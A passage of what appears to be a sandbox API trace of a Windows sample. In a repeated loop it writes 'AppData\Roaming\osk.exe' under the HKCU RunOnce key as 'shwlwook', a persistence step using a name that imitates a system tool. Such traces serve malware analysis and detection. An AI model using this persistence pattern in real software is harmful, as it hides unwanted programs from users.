pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x62406a0) returned 0x0 [0256.604] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2b [0256.604] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.605] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.605] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.605] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.605] RegCloseKey (hKey=0x14c) returned 0x0 [0256.606] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.606] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.617] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.617] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.617] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.618] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.618] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x62406f0 | out: ppvObject=0x62406f0*=0x0) returned 0x80004002 [0256.618] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2d [0256.618] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.618] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2e [0256.618] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x624a210) returned 0x0 [0256.618] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x2d [0256.618] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.618] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.618] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.619] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.619] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240710 | out: ppvObject=0x6240710*=0x0) returned 0x80004002 [0256.619] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2e [0256.619] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2d [0256.619] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.619] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2d [0256.619] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x6240720) returned 0x0 [0256.620] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2c [0256.620] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.621] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.621] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.621] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.621] RegCloseKey (hKey=0x14c) returned 0x0 [0256.621] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.622] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.632] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.633] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.633] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.633] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.633] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240770 | out: ppvObject=0x6240770*=0x0) returned 0x80004002 [0256.633] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2e [0256.633] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.633] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2f [0256.633] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x624a270) returned 0x0 [0256.634] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x2e [0256.634] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.634] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.634] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.634] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.634] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240790 | out: ppvObject=0x6240790*=0x0) returned 0x80004002 [0256.634] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2f [0256.634] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2e [0256.634] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.634] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2e [0256.634] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x62407a0) returned 0x0 [0256.635] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2d [0256.635] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.636] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.636] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.636] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.636] RegCloseKey (hKey=0x14c) returned 0x0 [0256.637] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.637] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.648] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.648] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.649] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.649] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.649] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x62407f0 | out: ppvObject=0x62407f0*=0x0) returned 0x80004002 [0256.649] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2f [0256.649] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.649] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x30 [0256.649] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x624a2d0) returned 0x0 [0256.650] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x2f [0256.650] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.650] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.650] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.650] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.650] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240810 | out: ppvObject=0x6240810*=0x0) returned 0x80004002 [0256.650] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x30 [0256.650] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2f [0256.650] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.650] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2f [0256.651] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 